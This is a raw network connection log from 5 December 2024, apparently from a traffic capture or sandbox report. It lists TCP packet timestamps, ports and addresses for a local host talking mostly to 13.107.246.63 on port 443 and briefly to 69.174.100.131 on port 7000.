Dec 5, 2024 14:01:21.857147932 CET	443	49724	13.107.246.63	192.168.2.6
Dec 5, 2024 14:01:21.857170105 CET	443	49726	13.107.246.63	192.168.2.6
Dec 5, 2024 14:01:21.857980967 CET	49726	443	192.168.2.6	13.107.246.63
Dec 5, 2024 14:01:21.858000040 CET	443	49726	13.107.246.63	192.168.2.6
Dec 5, 2024 14:01:21.858715057 CET	49726	443	192.168.2.6	13.107.246.63
Dec 5, 2024 14:01:21.858721018 CET	443	49726	13.107.246.63	192.168.2.6
Dec 5, 2024 14:01:21.859251022 CET	49723	443	192.168.2.6	13.107.246.63
Dec 5, 2024 14:01:21.859277010 CET	443	49723	13.107.246.63	192.168.2.6
Dec 5, 2024 14:01:21.860582113 CET	49723	443	192.168.2.6	13.107.246.63
Dec 5, 2024 14:01:21.860588074 CET	443	49723	13.107.246.63	192.168.2.6
Dec 5, 2024 14:01:21.860951900 CET	49725	443	192.168.2.6	13.107.246.63
Dec 5, 2024 14:01:21.860976934 CET	443	49725	13.107.246.63	192.168.2.6
Dec 5, 2024 14:01:21.861623049 CET	49725	443	192.168.2.6	13.107.246.63
Dec 5, 2024 14:01:21.861632109 CET	443	49725	13.107.246.63	192.168.2.6
Dec 5, 2024 14:01:21.861911058 CET	49724	443	192.168.2.6	13.107.246.63
Dec 5, 2024 14:01:21.861920118 CET	443	49724	13.107.246.63	192.168.2.6
Dec 5, 2024 14:01:21.870486021 CET	49724	443	192.168.2.6	13.107.246.63
Dec 5, 2024 14:01:21.870495081 CET	443	49724	13.107.246.63	192.168.2.6
Dec 5, 2024 14:01:22.095212936 CET	443	49722	13.107.246.63	192.168.2.6
Dec 5, 2024 14:01:22.095288038 CET	443	49722	13.107.246.63	192.168.2.6
Dec 5, 2024 14:01:22.095334053 CET	49722	443	192.168.2.6	13.107.246.63
Dec 5, 2024 14:01:22.095685959 CET	49722	443	192.168.2.6	13.107.246.63
Dec 5, 2024 14:01:22.095706940 CET	443	49722	13.107.246.63	192.168.2.6
Dec 5, 2024 14:01:22.095717907 CET	49722	443	192.168.2.6	13.107.246.63
Dec 5, 2024 14:01:22.095722914 CET	443	49722	13.107.246.63	192.168.2.6
Dec 5, 2024 14:01:22.099335909 CET	49727	443	192.168.2.6	13.107.246.63
Dec 5, 2024 14:01:22.099385977 CET	443	49727	13.107.246.63	192.168.2.6
Dec 5, 2024 14:01:22.099467993 CET	49727	443	192.168.2.6	13.107.246.63
Dec 5, 2024 14:01:22.099642038 CET	49727	443	192.168.2.6	13.107.246.63
Dec 5, 2024 14:01:22.099657059 CET	443	49727	13.107.246.63	192.168.2.6
Dec 5, 2024 14:01:22.291631937 CET	443	49725	13.107.246.63	192.168.2.6
Dec 5, 2024 14:01:22.291698933 CET	443	49725	13.107.246.63	192.168.2.6
Dec 5, 2024 14:01:22.291764021 CET	49725	443	192.168.2.6	13.107.246.63
Dec 5, 2024 14:01:22.292114973 CET	49725	443	192.168.2.6	13.107.246.63
Dec 5, 2024 14:01:22.292130947 CET	443	49725	13.107.246.63	192.168.2.6
Dec 5, 2024 14:01:22.292145967 CET	49725	443	192.168.2.6	13.107.246.63
Dec 5, 2024 14:01:22.292151928 CET	443	49725	13.107.246.63	192.168.2.6
Dec 5, 2024 14:01:22.292551041 CET	443	49723	13.107.246.63	192.168.2.6
Dec 5, 2024 14:01:22.292615891 CET	443	49723	13.107.246.63	192.168.2.6
Dec 5, 2024 14:01:22.292681932 CET	49723	443	192.168.2.6	13.107.246.63
Dec 5, 2024 14:01:22.292836905 CET	443	49724	13.107.246.63	192.168.2.6
Dec 5, 2024 14:01:22.292886972 CET	443	49724	13.107.246.63	192.168.2.6
Dec 5, 2024 14:01:22.292953968 CET	49724	443	192.168.2.6	13.107.246.63
Dec 5, 2024 14:01:22.293988943 CET	49724	443	192.168.2.6	13.107.246.63
Dec 5, 2024 14:01:22.294001102 CET	443	49724	13.107.246.63	192.168.2.6
Dec 5, 2024 14:01:22.294023991 CET	49724	443	192.168.2.6	13.107.246.63
Dec 5, 2024 14:01:22.294029951 CET	443	49724	13.107.246.63	192.168.2.6
Dec 5, 2024 14:01:22.295392036 CET	49723	443	192.168.2.6	13.107.246.63
Dec 5, 2024 14:01:22.295408964 CET	443	49723	13.107.246.63	192.168.2.6
Dec 5, 2024 14:01:22.295420885 CET	49723	443	192.168.2.6	13.107.246.63
Dec 5, 2024 14:01:22.295425892 CET	443	49723	13.107.246.63	192.168.2.6
Dec 5, 2024 14:01:22.297719002 CET	49728	443	192.168.2.6	13.107.246.63
Dec 5, 2024 14:01:22.297739029 CET	443	49728	13.107.246.63	192.168.2.6
Dec 5, 2024 14:01:22.297806025 CET	49728	443	192.168.2.6	13.107.246.63
Dec 5, 2024 14:01:22.299164057 CET	49729	443	192.168.2.6	13.107.246.63
Dec 5, 2024 14:01:22.299180031 CET	443	49729	13.107.246.63	192.168.2.6
Dec 5, 2024 14:01:22.299287081 CET	49729	443	192.168.2.6	13.107.246.63
Dec 5, 2024 14:01:22.299331903 CET	49728	443	192.168.2.6	13.107.246.63
Dec 5, 2024 14:01:22.299345016 CET	443	49728	13.107.246.63	192.168.2.6
Dec 5, 2024 14:01:22.300111055 CET	49730	443	192.168.2.6	13.107.246.63
Dec 5, 2024 14:01:22.300121069 CET	443	49730	13.107.246.63	192.168.2.6
Dec 5, 2024 14:01:22.300348997 CET	49730	443	192.168.2.6	13.107.246.63
Dec 5, 2024 14:01:22.300483942 CET	49730	443	192.168.2.6	13.107.246.63
Dec 5, 2024 14:01:22.300496101 CET	443	49730	13.107.246.63	192.168.2.6
Dec 5, 2024 14:01:22.300566912 CET	49729	443	192.168.2.6	13.107.246.63
Dec 5, 2024 14:01:22.300585032 CET	443	49729	13.107.246.63	192.168.2.6
Dec 5, 2024 14:01:22.377614975 CET	443	49726	13.107.246.63	192.168.2.6
Dec 5, 2024 14:01:22.377681017 CET	443	49726	13.107.246.63	192.168.2.6
Dec 5, 2024 14:01:22.377737045 CET	49726	443	192.168.2.6	13.107.246.63
Dec 5, 2024 14:01:22.380343914 CET	49726	443	192.168.2.6	13.107.246.63
Dec 5, 2024 14:01:22.380356073 CET	443	49726	13.107.246.63	192.168.2.6
Dec 5, 2024 14:01:22.380368948 CET	49726	443	192.168.2.6	13.107.246.63
Dec 5, 2024 14:01:22.380373955 CET	443	49726	13.107.246.63	192.168.2.6
Dec 5, 2024 14:01:22.386308908 CET	49731	443	192.168.2.6	13.107.246.63
Dec 5, 2024 14:01:22.386327028 CET	443	49731	13.107.246.63	192.168.2.6
Dec 5, 2024 14:01:22.386499882 CET	49731	443	192.168.2.6	13.107.246.63
Dec 5, 2024 14:01:22.386676073 CET	49731	443	192.168.2.6	13.107.246.63
Dec 5, 2024 14:01:22.386683941 CET	443	49731	13.107.246.63	192.168.2.6
Dec 5, 2024 14:01:23.815241098 CET	443	49727	13.107.246.63	192.168.2.6
Dec 5, 2024 14:01:23.816102028 CET	49727	443	192.168.2.6	13.107.246.63
Dec 5, 2024 14:01:23.816114902 CET	443	49727	13.107.246.63	192.168.2.6
Dec 5, 2024 14:01:23.816649914 CET	49727	443	192.168.2.6	13.107.246.63
Dec 5, 2024 14:01:23.816656113 CET	443	49727	13.107.246.63	192.168.2.6
Dec 5, 2024 14:01:24.017043114 CET	443	49730	13.107.246.63	192.168.2.6
Dec 5, 2024 14:01:24.017117023 CET	443	49729	13.107.246.63	192.168.2.6
Dec 5, 2024 14:01:24.017128944 CET	443	49728	13.107.246.63	192.168.2.6
Dec 5, 2024 14:01:24.018578053 CET	49728	443	192.168.2.6	13.107.246.63
Dec 5, 2024 14:01:24.018588066 CET	443	49728	13.107.246.63	192.168.2.6
Dec 5, 2024 14:01:24.018750906 CET	49730	443	192.168.2.6	13.107.246.63
Dec 5, 2024 14:01:24.018769979 CET	443	49730	13.107.246.63	192.168.2.6
Dec 5, 2024 14:01:24.019188881 CET	49728	443	192.168.2.6	13.107.246.63
Dec 5, 2024 14:01:24.019193888 CET	443	49728	13.107.246.63	192.168.2.6
Dec 5, 2024 14:01:24.019524097 CET	49730	443	192.168.2.6	13.107.246.63
Dec 5, 2024 14:01:24.019529104 CET	443	49730	13.107.246.63	192.168.2.6
Dec 5, 2024 14:01:24.019550085 CET	49729	443	192.168.2.6	13.107.246.63
Dec 5, 2024 14:01:24.019579887 CET	443	49729	13.107.246.63	192.168.2.6
Dec 5, 2024 14:01:24.019989014 CET	49729	443	192.168.2.6	13.107.246.63
Dec 5, 2024 14:01:24.019995928 CET	443	49729	13.107.246.63	192.168.2.6
Dec 5, 2024 14:01:24.103627920 CET	443	49731	13.107.246.63	192.168.2.6
Dec 5, 2024 14:01:24.104106903 CET	49731	443	192.168.2.6	13.107.246.63
Dec 5, 2024 14:01:24.104124069 CET	443	49731	13.107.246.63	192.168.2.6
Dec 5, 2024 14:01:24.104646921 CET	49731	443	192.168.2.6	13.107.246.63
Dec 5, 2024 14:01:24.104651928 CET	443	49731	13.107.246.63	192.168.2.6
Dec 5, 2024 14:01:24.250767946 CET	443	49727	13.107.246.63	192.168.2.6
Dec 5, 2024 14:01:24.250850916 CET	443	49727	13.107.246.63	192.168.2.6
Dec 5, 2024 14:01:24.251110077 CET	49727	443	192.168.2.6	13.107.246.63
Dec 5, 2024 14:01:24.251957893 CET	49727	443	192.168.2.6	13.107.246.63
Dec 5, 2024 14:01:24.251972914 CET	443	49727	13.107.246.63	192.168.2.6
Dec 5, 2024 14:01:24.252006054 CET	49727	443	192.168.2.6	13.107.246.63
Dec 5, 2024 14:01:24.252012968 CET	443	49727	13.107.246.63	192.168.2.6
Dec 5, 2024 14:01:24.255215883 CET	49732	443	192.168.2.6	13.107.246.63
Dec 5, 2024 14:01:24.255259037 CET	443	49732	13.107.246.63	192.168.2.6
Dec 5, 2024 14:01:24.255456924 CET	49732	443	192.168.2.6	13.107.246.63
Dec 5, 2024 14:01:24.255634069 CET	49732	443	192.168.2.6	13.107.246.63
Dec 5, 2024 14:01:24.255649090 CET	443	49732	13.107.246.63	192.168.2.6
Dec 5, 2024 14:01:24.304373980 CET	49734	7000	192.168.2.6	69.174.100.131
Dec 5, 2024 14:01:24.424209118 CET	7000	49734	69.174.100.131	192.168.2.6
Dec 5, 2024 14:01:24.424303055 CET	49734	7000	192.168.2.6	69.174.100.131
Dec 5, 2024 14:01:24.461369991 CET	443	49729	13.107.246.63	192.168.2.6
Dec 5, 2024 14:01:24.461437941 CET	443	49729	13.107.246.63	192.168.2.6
Dec 5, 2024 14:01:24.461724997 CET	49729	443	192.168.2.6	13.107.246.63
Dec 5, 2024 14:01:24.462152958 CET	443	49728	13.107.246.63	192.168.2.6
Dec 5, 2024 14:01:24.462214947 CET	443	49728	13.107.246.63	192.168.2.6
Dec 5, 2024 14:01:24.462357044 CET	49728	443	192.168.2.6	13.107.246.63
Dec 5, 2024 14:01:24.462691069 CET	49729	443	192.168.2.6	13.107.246.63
Dec 5, 2024 14:01:24.462711096 CET	443	49729	13.107.246.63	192.168.2.6
Dec 5, 2024 14:01:24.464420080 CET	49728	443	192.168.2.6	13.107.246.63
Dec 5, 2024 14:01:24.464435101 CET	443	49728	13.107.246.63	192.168.2.6
Dec 5, 2024 14:01:24.464446068 CET	49728	443	192.168.2.6	13.107.246.63
Dec 5, 2024 14:01:24.464452028 CET	443	49728	13.107.246.63	192.168.2.6
Dec 5, 2024 14:01:24.466826916 CET	49735	443	192.168.2.6	13.107.246.63
Dec 5, 2024 14:01:24.466861963 CET	443	49735	13.107.246.63	192.168.2.6
Dec 5, 2024 14:01:24.466954947 CET	49735	443	192.168.2.6	13.107.246.63
Dec 5, 2024 14:01:24.467215061 CET	49736	443	192.168.2.6	13.107.246.63
Dec 5, 2024 14:01:24.467235088 CET	443	49736	13.107.246.63	192.168.2.6
Dec 5, 2024 14:01:24.467283964 CET	49736	443	192.168.2.6	13.107.246.63
Dec 5, 2024 14:01:24.467303038 CET	49735	443	192.168.2.6	13.107.246.63
Dec 5, 2024 14:01:24.467319965 CET	443	49735	13.107.246.63	192.168.2.6
Dec 5, 2024 14:01:24.467406034 CET	49736	443	192.168.2.6	13.107.246.63
Dec 5, 2024 14:01:24.467420101 CET	443	49736	13.107.246.63	192.168.2.6
Dec 5, 2024 14:01:24.468300104 CET	443	49730	13.107.246.63	192.168.2.6
Dec 5, 2024 14:01:24.468367100 CET	443	49730	13.107.246.63	192.168.2.6
Dec 5, 2024 14:01:24.468434095 CET	49730	443	192.168.2.6	13.107.246.63
Dec 5, 2024 14:01:24.468595028 CET	49730	443	192.168.2.6	13.107.246.63
Dec 5, 2024 14:01:24.468599081 CET	443	49730	13.107.246.63	192.168.2.6
Dec 5, 2024 14:01:24.468633890 CET	49730	443	192.168.2.6	13.107.246.63
Dec 5, 2024 14:01:24.468636990 CET	443	49730	13.107.246.63	192.168.2.6
Dec 5, 2024 14:01:24.471120119 CET	49737	443	192.168.2.6	13.107.246.63
Dec 5, 2024 14:01:24.471154928 CET	443	49737	13.107.246.63	192.168.2.6
Dec 5, 2024 14:01:24.471206903 CET	49737	443	192.168.2.6	13.107.246.63
Dec 5, 2024 14:01:24.471355915 CET	49737	443	192.168.2.6	13.107.246.63
Dec 5, 2024 14:01:24.471368074 CET	443	49737	13.107.246.63	192.168.2.6
Dec 5, 2024 14:01:24.527359962 CET	49734	7000	192.168.2.6	69.174.100.131
Dec 5, 2024 14:01:24.542598963 CET	443	49731	13.107.246.63	192.168.2.6
Dec 5, 2024 14:01:24.542666912 CET	443	49731	13.107.246.63	192.168.2.6
Dec 5, 2024 14:01:24.543018103 CET	49731	443	192.168.2.6	13.107.246.63
Dec 5, 2024 14:01:24.543100119 CET	49731	443	192.168.2.6	13.107.246.63
Dec 5, 2024 14:01:24.543114901 CET	443	49731	13.107.246.63	192.168.2.6
Dec 5, 2024 14:01:24.543137074 CET	49731	443	192.168.2.6	13.107.246.63
Dec 5, 2024 14:01:24.543145895 CET	443	49731	13.107.246.63	192.168.2.6
Dec 5, 2024 14:01:24.546163082 CET	49738	443	192.168.2.6	13.107.246.63
Dec 5, 2024 14:01:24.546190023 CET	443	49738	13.107.246.63	192.168.2.6
Dec 5, 2024 14:01:24.546380997 CET	49738	443	192.168.2.6	13.107.246.63
Dec 5, 2024 14:01:24.546529055 CET	49738	443	192.168.2.6	13.107.246.63
Dec 5, 2024 14:01:24.546538115 CET	443	49738	13.107.246.63	192.168.2.6
Dec 5, 2024 14:01:24.647080898 CET	7000	49734	69.174.100.131	192.168.2.6
Dec 5, 2024 14:01:25.991657019 CET	443	49732	13.107.246.63	192.168.2.6
Dec 5, 2024 14:01:25.992567062 CET	49732	443	192.168.2.6	13.107.246.63
Dec 5, 2024 14:01:25.992583990 CET	443	49732	13.107.246.63	192.168.2.6
Dec 5, 2024 14:01:25.993438959 CET	49732	443	192.168.2.6	13.107.246.63
Dec 5, 2024 14:01:25.993443966 CET	443	49732	13.107.246.63	192.168.2.6
Dec 5, 2024 14:01:26.183343887 CET	443	49736	13.107.246.63	192.168.2.6
Dec 5, 2024 14:01:26.183527946 CET	443	49735	13.107.246.63	192.168.2.6
Dec 5, 2024 14:01:26.184252024 CET	49736	443	192.168.2.6	13.107.246.63
Dec 5, 2024 14:01:26.184276104 CET	443	49736	13.107.246.63	192.168.2.6
Dec 5, 2024 14:01:26.185024023 CET	49736	443	192.168.2.6	13.107.246.63
Dec 5, 2024 14:01:26.185034037 CET	443	49736	13.107.246.63	192.168.2.6
Dec 5, 2024 14:01:26.186005116 CET	49735	443	192.168.2.6	13.107.246.63
Dec 5, 2024 14:01:26.186022043 CET	443	49735	13.107.246.63	192.168.2.6
Dec 5, 2024 14:01:26.186745882 CET	49735	443	192.168.2.6	13.107.246.63
Dec 5, 2024 14:01:26.186750889 CET	443	49735	13.107.246.63	192.168.2.6
Dec 5, 2024 14:01:26.188347101 CET	443	49737	13.107.246.63	192.168.2.6
Dec 5, 2024 14:01:26.188632011 CET	49737	443	192.168.2.6	13.107.246.63
Dec 5, 2024 14:01:26.188648939 CET	443	49737	13.107.246.63	192.168.2.6
Dec 5, 2024 14:01:26.189080954 CET	49737	443	192.168.2.6	13.107.246.63
Dec 5, 2024 14:01:26.189085960 CET	443	49737	13.107.246.63	192.168.2.6
Dec 5, 2024 14:01:26.269922018 CET	443	49738	13.107.246.63	192.168.2.6
Dec 5, 2024 14:01:26.270680904 CET	49738	443	192.168.2.6	13.107.246.63
Dec 5, 2024 14:01:26.270716906 CET	443	49738	13.107.246.63	192.168.2.6
Dec 5, 2024 14:01:26.271400928 CET	49738	443	192.168.2.6	13.107.246.63
Dec 5, 2024 14:01:26.271409035 CET	443	49738	13.107.246.63	192.168.2.6
Dec 5, 2024 14:01:26.426028013 CET	443	49732	13.107.246.63	192.168.2.6
Dec 5, 2024 14:01:26.426101923 CET	443	49732	13.107.246.63	192.168.2.6
Dec 5, 2024 14:01:26.426306963 CET	49732	443	192.168.2.6	13.107.246.63
Dec 5, 2024 14:01:26.426518917 CET	49732	443	192.168.2.6	13.107.246.63
Dec 5, 2024 14:01:26.426541090 CET	443	49732	13.107.246.63	192.168.2.6
Dec 5, 2024 14:01:26.426553965 CET	49732	443	192.168.2.6	13.107.246.63
Dec 5, 2024 14:01:26.426559925 CET	443	49732	13.107.246.63	192.168.2.6
Dec 5, 2024 14:01:26.430056095 CET	49740	443	192.168.2.6	13.107.246.63
Dec 5, 2024 14:01:26.430098057 CET	443	49740	13.107.246.63	192.168.2.6
Dec 5, 2024 14:01:26.430181980 CET	49740	443	192.168.2.6	13.107.246.63
Dec 5, 2024 14:01:26.430341959 CET	49740	443	192.168.2.6	13.107.246.63
Dec 5, 2024 14:01:26.430357933 CET	443	49740	13.107.246.63	192.168.2.6
Dec 5, 2024 14:01:26.617809057 CET	443	49735	13.107.246.63	192.168.2.6
Dec 5, 2024 14:01:26.617861986 CET	443	49735	13.107.246.63	192.168.2.6
Dec 5, 2024 14:01:26.617914915 CET	49735	443	192.168.2.6	13.107.246.63
Dec 5, 2024 14:01:26.618246078 CET	49735	443	192.168.2.6	13.107.246.63
Dec 5, 2024 14:01:26.618268967 CET	443	49735	13.107.246.63	192.168.2.6
Dec 5, 2024 14:01:26.618282080 CET	49735	443	192.168.2.6	13.107.246.63
Dec 5, 2024 14:01:26.618288040 CET	443	49735	13.107.246.63	192.168.2.6
Dec 5, 2024 14:01:26.619877100 CET	443	49736	13.107.246.63	192.168.2.6
Dec 5, 2024 14:01:26.619923115 CET	443	49736	13.107.246.63	192.168.2.6
Dec 5, 2024 14:01:26.620049000 CET	49736	443	192.168.2.6	13.107.246.63
Dec 5, 2024 14:01:26.620248079 CET	49736	443	192.168.2.6	13.107.246.63
Dec 5, 2024 14:01:26.620260000 CET	443	49736	13.107.246.63	192.168.2.6
Dec 5, 2024 14:01:26.620271921 CET	49736	443	192.168.2.6	13.107.246.63
Dec 5, 2024 14:01:26.620276928 CET	443	49736	13.107.246.63	192.168.2.6
Dec 5, 2024 14:01:26.621970892 CET	49741	443	192.168.2.6	13.107.246.63
Dec 5, 2024 14:01:26.622014046 CET	443	49741	13.107.246.63	192.168.2.6
Dec 5, 2024 14:01:26.622184992 CET	49741	443	192.168.2.6	13.107.246.63
Dec 5, 2024 14:01:26.622360945 CET	49741	443	192.168.2.6	13.107.246.63
Dec 5, 2024 14:01:26.622375011 CET	443	49741	13.107.246.63	192.168.2.6
Dec 5, 2024 14:01:26.622394085 CET	443	49737	13.107.246.63	192.168.2.6
Dec 5, 2024 14:01:26.622447014 CET	443	49737	13.107.246.63	192.168.2.6
Dec 5, 2024 14:01:26.622481108 CET	49737	443	192.168.2.6	13.107.246.63
Dec 5, 2024 14:01:26.622605085 CET	49737	443	192.168.2.6	13.107.246.63
Dec 5, 2024 14:01:26.622628927 CET	443	49737	13.107.246.63	192.168.2.6
Dec 5, 2024 14:01:26.622642994 CET	49737	443	192.168.2.6	13.107.246.63
Dec 5, 2024 14:01:26.622649908 CET	443	49737	13.107.246.63	192.168.2.6
Dec 5, 2024 14:01:26.622849941 CET	49742	443	192.168.2.6	13.107.246.63
Dec 5, 2024 14:01:26.622886896 CET	443	49742	13.107.246.63	192.168.2.6
Dec 5, 2024 14:01:26.622950077 CET	49742	443	192.168.2.6	13.107.246.63
Dec 5, 2024 14:01:26.623114109 CET	49742	443	192.168.2.6	13.107.246.63
Dec 5, 2024 14:01:26.623127937 CET	443	49742	13.107.246.63	192.168.2.6
Dec 5, 2024 14:01:26.625011921 CET	49743	443	192.168.2.6	13.107.246.63
Dec 5, 2024 14:01:26.625024080 CET	443	49743	13.107.246.63	192.168.2.6
Dec 5, 2024 14:01:26.625096083 CET	49743	443	192.168.2.6	13.107.246.63
Dec 5, 2024 14:01:26.625205994 CET	49743	443	192.168.2.6	13.107.246.63
Dec 5, 2024 14:01:26.625216007 CET	443	49743	13.107.246.63	192.168.2.6
Dec 5, 2024 14:01:26.707364082 CET	443	49738	13.107.246.63	192.168.2.6
Dec 5, 2024 14:01:26.707442045 CET	443	49738	13.107.246.63	192.168.2.6
Dec 5, 2024 14:01:26.707514048 CET	49738	443	192.168.2.6	13.107.246.63
Dec 5, 2024 14:01:26.707830906 CET	49738	443	192.168.2.6	13.107.246.63
Dec 5, 2024 14:01:26.707847118 CET	443	49738	13.107.246.63	192.168.2.6
Dec 5, 2024 14:01:26.707858086 CET	49738	443	192.168.2.6	13.107.246.63
Dec 5, 2024 14:01:26.707864046 CET	443	49738	13.107.246.63	192.168.2.6
Dec 5, 2024 14:01:26.711338997 CET	49744	443	192.168.2.6	13.107.246.63
Dec 5, 2024 14:01:26.711374998 CET	443	49744	13.107.246.63	192.168.2.6
Dec 5, 2024 14:01:26.711438894 CET	49744	443	192.168.2.6	13.107.246.63
Dec 5, 2024 14:01:26.711901903 CET	49744	443	192.168.2.6	13.107.246.63
Dec 5, 2024 14:01:26.711914062 CET	443	49744	13.107.246.63	192.168.2.6
Dec 5, 2024 14:01:28.144526005 CET	443	49740	13.107.246.63	192.168.2.6
Dec 5, 2024 14:01:28.146408081 CET	49740	443	192.168.2.6	13.107.246.63
Dec 5, 2024 14:01:28.146421909 CET	443	49740	13.107.246.63	192.168.2.6
Dec 5, 2024 14:01:28.150345087 CET	49740	443	192.168.2.6	13.107.246.63
Dec 5, 2024 14:01:28.150352001 CET	443	49740	13.107.246.63	192.168.2.6
Dec 5, 2024 14:01:28.339310884 CET	443	49742	13.107.246.63	192.168.2.6
Dec 5, 2024 14:01:28.339669943 CET	443	49743	13.107.246.63	192.168.2.6
Dec 5, 2024 14:01:28.347053051 CET	49742	443	192.168.2.6	13.107.246.63
Dec 5, 2024 14:01:28.347083092 CET	443	49742	13.107.246.63	192.168.2.6
Dec 5, 2024 14:01:28.356540918 CET	49742	443	192.168.2.6	13.107.246.63
Dec 5, 2024 14:01:28.356549025 CET	443	49742	13.107.246.63	192.168.2.6
Dec 5, 2024 14:01:28.356940985 CET	49743	443	192.168.2.6	13.107.246.63
Dec 5, 2024 14:01:28.356966019 CET	443	49743	13.107.246.63	192.168.2.6
Dec 5, 2024 14:01:28.357355118 CET	49743	443	192.168.2.6	13.107.246.63
Dec 5, 2024 14:01:28.357361078 CET	443	49743	13.107.246.63	192.168.2.6
Dec 5, 2024 14:01:28.450586081 CET	443	49744	13.107.246.63	192.168.2.6
Dec 5, 2024 14:01:28.492923975 CET	49744	443	192.168.2.6	13.107.246.63
Dec 5, 2024 14:01:28.501616001 CET	49744	443	192.168.2.6	13.107.246.63
Dec 5, 2024 14:01:28.501629114 CET	443	49744	13.107.246.63	192.168.2.6
Dec 5, 2024 14:01:28.516858101 CET	49744	443	192.168.2.6	13.107.246.63
Dec 5, 2024 14:01:28.516865015 CET	443	49744	13.107.246.63	192.168.2.6
Dec 5, 2024 14:01:28.580024958 CET	443	49740	13.107.246.63	192.168.2.6
Dec 5, 2024 14:01:28.580100060 CET	443	49740	13.107.246.63	192.168.2.6
Dec 5, 2024 14:01:28.580159903 CET	49740	443	192.168.2.6	13.107.246.63
Dec 5, 2024 14:01:28.602950096 CET	49740	443	192.168.2.6	13.107.246.63
Dec 5, 2024 14:01:28.602962971 CET	443	49740	13.107.246.63	192.168.2.6
Dec 5, 2024 14:01:28.602977991 CET	49740	443	192.168.2.6	13.107.246.63
Dec 5, 2024 14:01:28.602982998 CET	443	49740	13.107.246.63	192.168.2.6
Dec 5, 2024 14:01:28.635303974 CET	49745	443	192.168.2.6	13.107.246.63
Dec 5, 2024 14:01:28.635335922 CET	443	49745	13.107.246.63	192.168.2.6
Dec 5, 2024 14:01:28.635407925 CET	49745	443	192.168.2.6	13.107.246.63
Dec 5, 2024 14:01:28.645838022 CET	49745	443	192.168.2.6	13.107.246.63
Dec 5, 2024 14:01:28.645857096 CET	443	49745	13.107.246.63	192.168.2.6
Dec 5, 2024 14:01:28.776101112 CET	443	49743	13.107.246.63	192.168.2.6
Dec 5, 2024 14:01:28.776177883 CET	443	49743	13.107.246.63	192.168.2.6
Dec 5, 2024 14:01:28.776329041 CET	49743	443	192.168.2.6	13.107.246.63
Dec 5, 2024 14:01:28.777648926 CET	443	49742	13.107.246.63	192.168.2.6
Dec 5, 2024 14:01:28.777713060 CET	443	49742	13.107.246.63	192.168.2.6
Dec 5, 2024 14:01:28.777781963 CET	49742	443	192.168.2.6	13.107.246.63
Dec 5, 2024 14:01:28.787411928 CET	49742	443	192.168.2.6	13.107.246.63
Dec 5, 2024 14:01:28.787431002 CET	49743	443	192.168.2.6	13.107.246.63
Dec 5, 2024 14:01:28.787431002 CET	49743	443	192.168.2.6	13.107.246.63
Dec 5, 2024 14:01:28.787436008 CET	443	49742	13.107.246.63	192.168.2.6
Dec 5, 2024 14:01:28.787451029 CET	443	49743	13.107.246.63	192.168.2.6
Dec 5, 2024 14:01:28.787457943 CET	49742	443	192.168.2.6	13.107.246.63
Dec 5, 2024 14:01:28.787462950 CET	443	49743	13.107.246.63	192.168.2.6
Dec 5, 2024 14:01:28.787466049 CET	443	49742	13.107.246.63	192.168.2.6
Dec 5, 2024 14:01:28.791457891 CET	49746	443	192.168.2.6	13.107.246.63
Dec 5, 2024 14:01:28.791496038 CET	443	49746	13.107.246.63	192.168.2.6
Dec 5, 2024 14:01:28.791552067 CET	49747	443	192.168.2.6	13.107.246.63
Dec 5, 2024 14:01:28.791563988 CET	49746	443	192.168.2.6	13.107.246.63
Dec 5, 2024 14:01:28.791594028 CET	443	49747	13.107.246.63	192.168.2.6
Dec 5, 2024 14:01:28.791644096 CET	49747	443	192.168.2.6	13.107.246.63
Dec 5, 2024 14:01:28.791753054 CET	49746	443	192.168.2.6	13.107.246.63
Dec 5, 2024 14:01:28.791766882 CET	443	49746	13.107.246.63	192.168.2.6
Dec 5, 2024 14:01:28.791929007 CET	49747	443	192.168.2.6	13.107.246.63
Dec 5, 2024 14:01:28.791949987 CET	443	49747	13.107.246.63	192.168.2.6
Dec 5, 2024 14:01:28.887326002 CET	443	49744	13.107.246.63	192.168.2.6
Dec 5, 2024 14:01:28.887384892 CET	443	49744	13.107.246.63	192.168.2.6
Dec 5, 2024 14:01:28.887435913 CET	49744	443	192.168.2.6	13.107.246.63
Dec 5, 2024 14:01:28.887656927 CET	49744	443	192.168.2.6	13.107.246.63
Dec 5, 2024 14:01:28.887676001 CET	443	49744	13.107.246.63	192.168.2.6
Dec 5, 2024 14:01:28.887686968 CET	49744	443	192.168.2.6	13.107.246.63
Dec 5, 2024 14:01:28.887692928 CET	443	49744	13.107.246.63	192.168.2.6
Dec 5, 2024 14:01:28.891196966 CET	49748	443	192.168.2.6	13.107.246.63
Dec 5, 2024 14:01:28.891227961 CET	443	49748	13.107.246.63	192.168.2.6
Dec 5, 2024 14:01:28.891292095 CET	49748	443	192.168.2.6	13.107.246.63
Dec 5, 2024 14:01:28.891474009 CET	49748	443	192.168.2.6	13.107.246.63
Dec 5, 2024 14:01:28.891489983 CET	443	49748	13.107.246.63	192.168.2.6
Dec 5, 2024 14:01:29.792696953 CET	443	49741	13.107.246.63	192.168.2.6
Dec 5, 2024 14:01:29.802393913 CET	49741	443	192.168.2.6	13.107.246.63
Dec 5, 2024 14:01:29.802407980 CET	443	49741	13.107.246.63	192.168.2.6
Dec 5, 2024 14:01:29.803036928 CET	49741	443	192.168.2.6	13.107.246.63
Dec 5, 2024 14:01:29.803044081 CET	443	49741	13.107.246.63	192.168.2.6
Dec 5, 2024 14:01:29.872771025 CET	7000	49734	69.174.100.131	192.168.2.6
Dec 5, 2024 14:01:29.905592918 CET	49734	7000	192.168.2.6	69.174.100.131
Dec 5, 2024 14:01:30.025409937 CET	7000	49734	69.174.100.131	192.168.2.6
Dec 5, 2024 14:01:30.227364063 CET	443	49741	13.107.246.63	192.168.2.6
Dec 5, 2024 14:01:30.227410078 CET	443	49741	13.107.246.63	192.168.2.6
Dec 5, 2024 14:01:30.227694035 CET	49741	443	192.168.2.6	13.107.246.63
Dec 5, 2024 14:01:30.227694035 CET	49741	443	192.168.2.6	13.107.246.63
Dec 5, 2024 14:01:30.227725029 CET	49741	443	192.168.2.6	13.107.246.63
Dec 5, 2024 14:01:30.227737904 CET	443	49741	13.107.246.63	192.168.2.6
Dec 5, 2024 14:01:30.231031895 CET	49749	443	192.168.2.6	13.107.246.63
Dec 5, 2024 14:01:30.231062889 CET	443	49749	13.107.246.63	192.168.2.6
Dec 5, 2024 14:01:30.231147051 CET	49749	443	192.168.2.6	13.107.246.63
Dec 5, 2024 14:01:30.231317043 CET	49749	443	192.168.2.6	13.107.246.63
Dec 5, 2024 14:01:30.231321096 CET	443	49749	13.107.246.63	192.168.2.6
Dec 5, 2024 14:01:30.360605955 CET	443	49745	13.107.246.63	192.168.2.6
